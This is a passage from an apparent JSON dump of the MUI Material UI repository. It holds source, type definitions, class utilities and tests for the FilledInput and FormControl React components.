* You can pull out the new value by accessing `event.target.value` (string).\n   */\n  onChange: PropTypes.func,\n  /**\n   * The short hint displayed in the `input` before the user enters a value.\n   */\n  placeholder: PropTypes.string,\n  /**\n   * It prevents the user from changing the value of the field\n   * (not from interacting with the field).\n   */\n  readOnly: PropTypes.bool,\n  /**\n   * If `true`, the `input` element is required.\n   * The prop defaults to the value (`false`) inherited from the parent FormControl component.\n   */\n  required: PropTypes.bool,\n  /**\n   * Number of rows to display when multiline option is set to true.\n   */\n  rows: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   *\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.object,\n    root: PropTypes.object,\n  }),\n  /**\n   * The components used for each slot inside.\n   *\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * Start `InputAdornment` for this component.\n   */\n  startAdornment: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Type of the `input` element. It should be [a valid HTML5 input type](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#input_types).\n   * @default 'text'\n   */\n  type: PropTypes.string,\n  /**\n   * The value of the `input` element, required for a controlled component.\n   */\n  value: PropTypes.any,\n};\n\nFilledInput.muiName = 'Input';\n\nexport default FilledInput;\n"
  },
  {
    "path": "packages/mui-material/src/FilledInput/FilledInput.spec.tsx",
    "content": "import FilledInput from '@mui/material/FilledInput';\n\nfunction TestHiddenLabel() {\n  return <FilledInput hiddenLabel />;\n}\n"
  },
  {
    "path": "packages/mui-material/src/FilledInput/FilledInput.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport { styled } from '@mui/material/styles';\nimport FilledInput, { filledInputClasses as classes } from '@mui/material/FilledInput';\nimport InputBase from '@mui/material/InputBase';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<FilledInput />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<FilledInput open />, () => ({\n    classes,\n    inheritComponent: InputBase,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiFilledInput',\n    testDeepOverrides: { slotName: 'input', slotClassName: classes.input },\n    testVariantProps: { variant: 'contained', fullWidth: true },\n    testStateOverrides: { prop: 'size', value: 'small', styleKey: 'sizeSmall' },\n    slots: {\n      // can't test with DOM element as Input places an ownerState prop on it unconditionally.\n      root: { expectedClassName: classes.root, testWithElement: null },\n      input: { expectedClassName: classes.input, testWithElement: null },\n    },\n    skip: [\n      'componentProp',\n      'slotPropsCallback', // not supported yet\n      'slotPropsCallbackWithPropsAsOwnerState', // not supported yet\n    ],\n  }));\n\n  it('should have the underline class', () => {\n    const { container } = render(<FilledInput />);\n    const root = container.firstChild;\n    expect(root).not.to.equal(null);\n  });\n\n  it('color={undefined} should not result in crash', () => {\n    expect(() => {\n      render(<FilledInput color={undefined} />);\n    }).not.toErrorDev();\n  });\n\n  it('can disable the underline', () => {\n    const { container } = render(<FilledInput disableUnderline />);\n    const root = container.firstChild;\n    expect(root).not.to.have.class(classes.underline);\n  });\n\n  it('should forward classes to InputBase', () => {\n    render(<FilledInput error classes={{ error: 'error' }} />);\n    expect(document.querySelector('.error')).not.to.equal(null);\n  });\n\n  it('should respect the slotProps if passed', () => {\n    render(<FilledInput slotProps={{ root: { 'data-test': 'test' } }} />);\n    expect(document.querySelector('[data-test=test]')).not.to.equal(null);\n  });\n\n  it('should respect the classes coming from InputBase', () => {\n    render(\n      <FilledInput\n        data-test=\"test\"\n        multiline\n        sx={{ [`&.${classes.multiline}`]: { mt: '10px' } }}\n      />,\n    );\n    expect(document.querySelector('[data-test=test]')).toHaveComputedStyle({ marginTop: '10px' });\n  });\n\n  it('should not throw: \"Maximum call stack size exceeded\" if both slotProps and an adornment are passed', () => {\n    const Adornment = styled('div')({});\n    render(<FilledInput endAdornment={<Adornment />} slotProps={{}} />);\n    render(<FilledInput startAdornment={<Adornment />} slotProps={{}} />);\n  });\n\n  it('should not have following classes', () => {\n    render(\n      <FilledInput\n        size=\"small\"\n        multiline\n        startAdornment=\"start\"\n        endAdornment=\"end\"\n        type=\"search\"\n      />,\n    );\n\n    expect(document.querySelector('.MuiFilledInput-inputSizeSmall')).to.equal(null);\n    expect(document.querySelector('.MuiFilledInput-inputMultiline')).to.equal(null);\n    expect(document.querySelector('.MuiFilledInput-inputAdornedStart')).to.equal(null);\n    expect(document.querySelector('.MuiFilledInput-inputAdornedEnd')).to.equal(null);\n    expect(document.querySelector('.MuiFilledInput-inputTypeSearch')).to.equal(null);\n  });\n\n  it('should have following classes', () => {\n    const { container } = render(\n      <FilledInput hiddenLabel multiline size=\"small\" startAdornment=\"start\" endAdornment=\"end\" />,\n    );\n    const root = container.firstChild;\n    expect(root).to.have.class(classes.hiddenLabel);\n    expect(root).to.have.class(classes.multiline);\n    expect(root).to.have.class(classes.sizeSmall);\n    expect(root).to.have.class(classes.adornedEnd);\n    expect(root).to.have.class(classes.adornedStart);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/FilledInput/filledInputClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport { inputBaseClasses } from '../InputBase';\n\nexport interface FilledInputClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if color secondary. */\n  colorSecondary: string;\n  /** Styles applied to the root element unless `disableUnderline={true}`. */\n  underline: string;\n  /** State class applied to the root element if the component is focused. */\n  focused: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the root element if `startAdornment` is provided. */\n  adornedStart: string;\n  /** Styles applied to the root element if `endAdornment` is provided. */\n  adornedEnd: string;\n  /** State class applied to the root element if `error={true}`. */\n  error: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `multiline={true}`. */\n  multiline: string;\n  /** Styles applied to the root element if `hiddenLabel={true}`. */\n  hiddenLabel: string;\n  /** Styles applied to the input element. */\n  input: string;\n}\n\nexport type FilledInputClassKey = keyof FilledInputClasses;\n\nexport function getFilledInputUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiFilledInput', slot);\n}\n\nconst filledInputClasses: FilledInputClasses = {\n  ...inputBaseClasses,\n  ...generateUtilityClasses('MuiFilledInput', [\n    'root',\n    'underline',\n    'input',\n    'adornedStart',\n    'adornedEnd',\n    'sizeSmall',\n    'multiline',\n    'hiddenLabel',\n  ]),\n};\n\nexport default filledInputClasses;\n"
  },
  {
    "path": "packages/mui-material/src/FilledInput/index.d.ts",
    "content": "export { default } from './FilledInput';\nexport * from './FilledInput';\n\nexport { default as filledInputClasses } from './filledInputClasses';\nexport * from './filledInputClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FilledInput/index.js",
    "content": "export { default } from './FilledInput';\n\nexport { default as filledInputClasses } from './filledInputClasses';\nexport * from './filledInputClasses';\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/FormControl.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { FormControlClasses } from './formControlClasses';\n\nexport interface FormControlPropsSizeOverrides {}\nexport interface FormControlPropsColorOverrides {}\n\nexport interface FormControlOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.HTMLAttributes<HTMLDivElement>['children'] | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FormControlClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        FormControlPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the label, input and helper text should be displayed in a disabled state.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the label is displayed in an error state.\n   * @default false\n   */\n  error?: boolean | undefined;\n  /**\n   * If `true`, the component will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * If `true`, the component is displayed in focused state.\n   */\n  focused?: boolean | undefined;\n  /**\n   * If `true`, the label is hidden.\n   * This is used to increase density for a `FilledInput`.\n   * Be sure to add `aria-label` to the `input` element.\n   * @default false\n   */\n  hiddenLabel?: boolean | undefined;\n  /**\n   * If `dense` or `normal`, will adjust vertical spacing of this and contained components.\n   * @default 'none'\n   */\n  margin?: 'dense' | 'normal' | 'none' | undefined;\n  /**\n   * If `true`, the label will indicate that the `input` is required.\n   * @default false\n   */\n  required?: boolean | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', FormControlPropsSizeOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant?: 'standard' | 'outlined' | 'filled' | undefined;\n}\n\nexport interface FormControlTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & FormControlOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n * Provides context such as filled/focused/error/required for form inputs.\n * Relying on the context provides high flexibility and ensures that the state always stays\n * consistent across the children of the `FormControl`.\n * This context is used by the following components:\n *\n * * FormLabel\n * * FormHelperText\n * * Input\n * * InputLabel\n *\n * You can find one composition example below and more going to [the demos](https://next.mui.com/material-ui/react-text-field/#components).\n *\n * ```jsx\n * <FormControl>\n *   <InputLabel htmlFor=\"my-input\">Email address</InputLabel>\n *   <Input id=\"my-input\" aria-describedby=\"my-helper-text\" />\n *   <FormHelperText id=\"my-helper-text\">We'll never share your email.</FormHelperText>\n * </FormControl>\n * ```\n *\n * ⚠️ Only one `InputBase` can be used within a FormControl because it creates visual inconsistencies.\n * For instance, only one input can be focused at the same time, the state shouldn't be shared.\n *\n * Demos:\n *\n * - [Checkbox](https://next.mui.com/material-ui/react-checkbox/)\n * - [Number Field](https://next.mui.com/material-ui/react-number-field/)\n * - [Radio Group](https://next.mui.com/material-ui/react-radio-button/)\n * - [Switch](https://next.mui.com/material-ui/react-switch/)\n * - [Text Field](https://next.mui.com/material-ui/react-text-field/)\n *\n * API:\n *\n * - [FormControl API](https://next.mui.com/material-ui/api/form-control/)\n */\ndeclare const FormControl: OverridableComponent<FormControlTypeMap>;\n\nexport type FormControlProps<\n  RootComponent extends React.ElementType = FormControlTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<FormControlTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default FormControl;\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/FormControl.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { isFilled, isAdornedStart } from '../InputBase/utils';\nimport capitalize from '../utils/capitalize';\nimport isMuiElement from '../utils/isMuiElement';\nimport FormControlContext from './FormControlContext';\nimport { getFormControlUtilityClasses } from './formControlClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, margin, fullWidth } = ownerState;\n  const slots = {\n    root: ['root', margin !== 'none' && `margin${capitalize(margin)}`, fullWidth && 'fullWidth'],\n  };\n\n  return composeClasses(slots, getFormControlUtilityClasses, classes);\n};\n\nconst FormControlRoot = styled('div', {\n  name: 'MuiFormControl',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[`margin${capitalize(ownerState.margin)}`],\n      ownerState.fullWidth && styles.fullWidth,\n    ];\n  },\n})({\n  display: 'inline-flex',\n  flexDirection: 'column',\n  position: 'relative',\n  // Reset fieldset default style.\n  minWidth: 0,\n  padding: 0,\n  margin: 0,\n  border: 0,\n  verticalAlign: 'top', // Fix alignment issue on Safari.\n  variants: [\n    {\n      props: { margin: 'normal' },\n      style: {\n        marginTop: 16,\n        marginBottom: 8,\n      },\n    },\n    {\n      props: { margin: 'dense' },\n      style: {\n        marginTop: 8,\n        marginBottom: 4,\n      },\n    },\n    {\n      props: { fullWidth: true },\n      style: {\n        width: '100%',\n      },\n    },\n  ],\n});\n\n/**\n * Provides context such as filled/focused/error/required for form inputs.\n * Relying on the context provides high flexibility and ensures that the state always stays\n * consistent across the children of the `FormControl`.\n * This context is used by the following components:\n *\n *  - FormLabel\n *  - FormHelperText\n *  - Input\n *  - InputLabel\n *\n * You can find one composition example below and more going to [the demos](/material-ui/react-text-field/#components).\n *\n * ```jsx\n * <FormControl>\n *   <InputLabel htmlFor=\"my-input\">Email address</InputLabel>\n *   <Input id=\"my-input\" aria-describedby=\"my-helper-text\" />\n *   <FormHelperText id=\"my-helper-text\">We'll never share your email.</FormHelperText>\n * </FormControl>\n * ```\n *\n * ⚠️ Only one `InputBase` can be used within a FormControl because it creates visual inconsistencies.\n * For instance, only one input can be focused at the same time, the state shouldn't be shared.\n */\nconst FormControl = React.forwardRef(function FormControl(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiFormControl' });\n  const {\n    children,\n    className,\n    color = 'primary',\n    component = 'div',\n    disabled = false,\n    error = false,\n    focused: visuallyFocused,\n    fullWidth = false,\n    hiddenLabel = false,\n    margin = 'none',\n    required = false,\n    size = 'medium',\n    variant = 'outlined',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    component,\n    disabled,\n    error,\n    fullWidth,\n    hiddenLabel,\n    margin,\n    required,\n    size,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const [adornedStart, setAdornedStart] = React.useState(() => {\n    // We need to iterate through the children and find the Input in order\n    // to fully support server-side rendering.\n    let initialAdornedStart = false;\n\n    if (children) {\n      React.Children.forEach(children, (child) => {\n        if (!isMuiElement(child, ['Input', 'Select'])) {\n          return;\n        }\n\n        const input = isMuiElement(child, ['Select']) ? child.props.input : child;\n\n        if (input && isAdornedStart(input.props)) {\n          initialAdornedStart = true;\n        }\n      });\n    }\n    return initialAdornedStart;\n  });\n\n  const [filled, setFilled] = React.useState(() => {\n    // We need to iterate through the children and find the Input in order\n    // to fully support server-side rendering.\n    let initialFilled = false;\n\n    if (children) {\n      React.Children.forEach(children, (child) => {\n        if (!isMuiElement(child, ['Input', 'Select'])) {\n          return;\n        }\n\n        if (isFilled(child.props, true) || isFilled(child.props.inputProps, true)) {\n          initialFilled = true;\n        }\n      });\n    }\n\n    return initialFilled;\n  });\n\n  const [focusedState, setFocused] = React.useState(false);\n  if (disabled && focusedState) {\n    setFocused(false);\n  }\n\n  const focused = visuallyFocused !== undefined && !disabled ? visuallyFocused : focusedState;\n\n  let registerEffect;\n  const registeredInput = React.useRef(false);\n  if (process.env.NODE_ENV !== 'production') {\n    registerEffect = () => {\n      if (registeredInput.current) {\n        console.error(\n          [\n            'MUI: There are multiple `InputBase` components inside a FormControl.',\n            'This creates visual inconsistencies, only use one `InputBase`.',\n          ].join('\\n'),\n        );\n      }\n\n      registeredInput.current = true;\n      return () => {\n        registeredInput.current = false;\n      };\n    };\n  }\n\n  const onFilled = React.useCallback(() => {\n    setFilled(true);\n  }, []);\n\n  const onEmpty = React.useCallback(() => {\n    setFilled(false);\n  }, []);\n\n  const childContext = React.useMemo(() => {\n    return {\n      adornedStart,\n      setAdornedStart,\n      color,\n      disabled,\n      error,\n      filled,\n      focused,\n      fullWidth,\n      hiddenLabel,\n      size,\n      onBlur: () => {\n        setFocused(false);\n      },\n      onFocus: () => {\n        setFocused(true);\n      },\n      onEmpty,\n      onFilled,\n      registerEffect,\n      required,\n      variant,\n    };\n  }, [\n    adornedStart,\n    color,\n    disabled,\n    error,\n    filled,\n    focused,\n    fullWidth,\n    hiddenLabel,\n    registerEffect,\n    onEmpty,\n    onFilled,\n    required,\n    size,\n    variant,\n  ]);\n\n  return (\n    <FormControlContext.Provider value={childContext}>\n      <FormControlRoot\n        as={component}\n        ownerState={ownerState}\n        className={clsx(classes.root, className)}\n        ref={ref}\n        {...other}\n      >\n        {children}\n      </FormControlRoot>\n    </FormControlContext.Provider>\n  );\n});\n\nFormControl.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the label, input and helper text should be displayed in a disabled state.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the label is displayed in an error state.\n   * @default false\n   */\n  error: PropTypes.bool,\n  /**\n   * If `true`, the component is displayed in focused state.\n   */\n  focused: PropTypes.bool,\n  /**\n   * If `true`, the component will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * If `true`, the label is hidden.\n   * This is used to increase density for a `FilledInput`.\n   * Be sure to add `aria-label` to the `input` element.\n   * @default false\n   */\n  hiddenLabel: PropTypes.bool,\n  /**\n   * If `dense` or `normal`, will adjust vertical spacing of this and contained components.\n   * @default 'none'\n   */\n  margin: PropTypes.oneOf(['dense', 'none', 'normal']),\n  /**\n   * If `true`, the label will indicate that the `input` is required.\n   * @default false\n   */\n  required: PropTypes.bool,\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: PropTypes.oneOf(['filled', 'outlined', 'standard']),\n};\n\nexport default FormControl;\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/FormControl.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer } from '@mui/internal-test-utils';\nimport FormControl, { formControlClasses as classes } from '@mui/material/FormControl';\nimport Input from '@mui/material/Input';\nimport Select from '@mui/material/Select';\nimport useFormControl from './useFormControl';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<FormControl />', () => {\n  const { render } = createRenderer();\n\n  function TestComponent(props) {\n    const context = useFormControl();\n    React.useEffect(() => {\n      props.contextCallback(context);\n    });\n    return null;\n  }\n\n  describeConformance(<FormControl />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    testComponentPropWith: 'fieldset',\n    muiName: 'MuiFormControl',\n    testVariantProps: { margin: 'dense' },\n  }));\n\n  describe('initial state', () => {\n    it('should have no margin', () => {\n      const { container } = render(<FormControl />);\n      const root = container.firstChild;\n\n      expect(root).not.to.have.class(classes.marginNormal);\n      expect(root).not.to.have.class(classes.sizeSmall);\n    });\n\n    it('can have the margin normal class', () => {\n      const { container } = render(<FormControl margin=\"normal\" />);\n      const root = container.firstChild;\n\n      expect(root).to.have.class(classes.marginNormal);\n      expect(root).not.to.have.class(classes.sizeSmall);\n    });\n\n    it('can have the margin dense class', () => {\n      const { container } = render(<FormControl margin=\"dense\" />);\n      const root = container.firstChild;\n\n      expect(root).to.have.class(classes.marginDense);\n      expect(root).not.to.have.class(classes.marginNormal);\n    });\n\n    it('should not be filled initially', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('filled', false);\n    });\n\n    it('should not be focused initially', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('focused', false);\n    });\n  });\n\n  describe('prop: required', () => {\n    it('should not apply it to the DOM', () => {\n      const { container } = render(<FormControl required />);\n      expect(container.firstChild).not.to.have.attribute('required');\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('will be unfocused if it gets disabled', async () => {\n      const readContext = spy();\n      const { container, setProps } = render(\n        <FormControl>\n          <Input />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('focused', false);\n\n      await act(async () => {\n        container.querySelector('input').focus();\n      });\n      expect(readContext.lastCall.args[0]).to.have.property('focused', true);\n\n      setProps({ disabled: true });\n      expect(readContext.lastCall.args[0]).to.have.property('focused', false);\n    });\n  });\n\n  describe('prop: focused', () => {\n    it('should display input in focused state', () => {\n      const readContext = spy();\n      const { container } = render(\n        <FormControl focused>\n          <Input />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n\n      expect(readContext.args[0][0]).to.have.property('focused', true);\n      container.querySelector('input').blur();\n      expect(readContext.args[0][0]).to.have.property('focused', true);\n    });\n\n    it('ignores focused when disabled', () => {\n      const readContext = spy();\n      render(\n        <FormControl focused disabled>\n          <Input />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.include({ disabled: true, focused: false });\n    });\n  });\n\n  describe('input', () => {\n    it('should be filled when a value is set', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <Input value=\"bar\" />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('filled', true);\n    });\n\n    it('should be filled when a value is set through inputProps', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <Input inputProps={{ value: 'bar' }} />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('filled', true);\n    });\n\n    it('should be filled when a defaultValue is set', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <Input defaultValue=\"bar\" />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('filled', true);\n    });\n\n    it('should not be adornedStart with an endAdornment', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <Input endAdornment={<div />} />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('adornedStart', false);\n    });\n\n    it('should be adornedStar with a startAdornment', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <Input startAdornment={<div />} />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('adornedStart', true);\n    });\n  });\n\n  describe('select', () => {\n    it('should not be adorned without a startAdornment', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <Select value=\"\" />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0]).to.have.property('adornedStart', false);\n    });\n\n    it('should be adorned with a startAdornment', () => {\n      const readContext = spy();\n      render(\n        <FormControl>\n          <Select value=\"\" input={<Input startAdornment={<div />} />} />\n          <TestComponent contextCallback={readContext} />\n        </FormControl>,\n      );\n      expect(readContext.args[0][0].adornedStart, true);\n    });\n  });\n\n  describe('useFormControl', () => {\n    const FormController = React.forwardRef((_, ref) => {\n      const formControl = useFormControl();\n      React.useImperativeHandle(ref, () => formControl, [formControl]);\n      return null;\n    });\n\n    const FormControlled = React.forwardRef(function FormControlled(props, ref) {\n      return (\n        <FormControl {...props}>\n          <FormController ref={ref} />\n        </FormControl>\n      );\n    });\n\n    describe('from props', () => {\n      it('should have the required prop from the instance', () => {\n        const formControlRef = React.createRef();\n        const { setProps } = render(<FormControlled ref={formControlRef} />);\n\n        expect(formControlRef.current).to.have.property('required', false);\n\n        setProps({ required: true });\n        expect(formControlRef.current).to.have.property('required', true);\n      });\n\n      it('should have the error prop from the instance', () => {\n        const formControlRef = React.createRef();\n        const { setProps } = render(<FormControlled ref={formControlRef} />);\n\n        expect(formControlRef.current).to.have.property('error', false);\n\n        setProps({ error: true });\n        expect(formControlRef.current).to.have.property('error', true);\n      });\n\n      it('should have the margin prop from the instance', () => {\n        const formControlRef = React.createRef();\n        const { setProps } = render(<FormControlled ref={formControlRef} />);\n\n        expect(formControlRef.current).to.have.property('size', 'medium');\n\n        setProps({ size: 'small' });\n        expect(formControlRef.current).to.have.property('size', 'small');\n      });\n\n      it('should have the fullWidth prop from the instance', () => {\n        const formControlRef = React.createRef();\n        const { setProps } = render(<FormControlled ref={formControlRef} />);\n\n        expect(formControlRef.current).to.have.property('fullWidth', false);\n\n        setProps({ fullWidth: true });\n        expect(formControlRef.current).to.have.property('fullWidth', true);\n      });\n    });\n\n    describe('callbacks', () => {\n      describe('onFilled', () => {\n        it('should set the filled state', async () => {\n          const formControlRef = React.createRef();\n          render(<FormControlled ref={formControlRef} />);\n\n          expect(formControlRef.current).to.have.property('filled', false);\n\n          await act(async () => {\n            formControlRef.current.onFilled();\n          });\n\n          expect(formControlRef.current).to.have.property('filled', true);\n\n          await act(async () => {\n            formControlRef.current.onFilled();\n          });\n\n          expect(formControlRef.current).to.have.property('filled', true);\n        });\n      });\n\n      describe('onEmpty', () => {\n        it('should clean the filled state', async () => {\n          const formControlRef = React.createRef();\n          render(<FormControlled ref={formControlRef} />);\n\n          await act(async () => {\n            formControlRef.current.onFilled();\n          });\n\n          expect(formControlRef.current).to.have.property('filled', true);\n\n          await act(async () => {\n            formControlRef.current.onEmpty();\n          });\n\n          expect(formControlRef.current).to.have.property('filled', false);\n\n          await act(async () => {\n            formControlRef.current.onEmpty();\n          });\n\n          expect(formControlRef.current).to.have.property('filled', false);\n        });\n      });\n\n      describe('handleFocus', () => {\n        it('should set the focused state', async () => {\n          const formControlRef = React.createRef();\n          render(<FormControlled ref={formControlRef} />);\n          expect(formControlRef.current).to.have.property('focused', false);\n\n          await act(async () => {\n            formControlRef.current.onFocus();\n          });\n\n          expect(formControlRef.current).to.have.property('focused', true);\n\n          await act(async () => {\n            formControlRef.current.onFocus();\n          });\n\n          expect(formControlRef.current).to.have.property('focused', true);\n        });\n      });\n\n      describe('handleBlur', () => {\n        it('should clear the focused state', async () => {\n          const formControlRef = React.createRef();\n          render(<FormControlled ref={formControlRef} />);\n          expect(formControlRef.current).to.have.property('focused', false);\n\n          await act(async () => {\n            formControlRef.current.onFocus();\n          });\n\n          expect(formControlRef.current).to.have.property('focused', true);\n\n          await act(async () => {\n            formControlRef.current.onBlur();\n          });\n\n          expect(formControlRef.current).to.have.property('focused', false);\n\n          await act(async () => {\n            formControlRef.current.onBlur();\n          });\n\n          expect(formControlRef.current).to.have.property('focused', false);\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/FormControlContext.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport type { FormControlProps } from './FormControl';\n\ntype ContextFromPropsKey =\n  | 'color'\n  | 'disabled'\n  | 'error'\n  | 'fullWidth'\n  | 'hiddenLabel'\n  | 'margin'\n  | 'onBlur'\n  | 'onFocus'\n  | 'required'\n  | 'size'\n  | 'variant';\n\nexport interface FormControlState extends Pick<FormControlProps, ContextFromPropsKey> {\n  adornedStart: boolean;\n  filled: boolean;\n  focused: boolean;\n  onEmpty: () => void;\n  onFilled: () => void;\n  registerEffect: () => void;\n  setAdornedStart: React.Dispatch<React.SetStateAction<boolean>>;\n}\n\n/**\n * @ignore - internal component.\n */\nconst FormControlContext = React.createContext<FormControlState | undefined>(undefined);\n\nif (process.env.NODE_ENV !== 'production') {\n  FormControlContext.displayName = 'FormControlContext';\n}\n\nexport default FormControlContext;\n"
  },
  {
    "path": "packages/mui-material/src/FormControl/formControlClasses.ts",
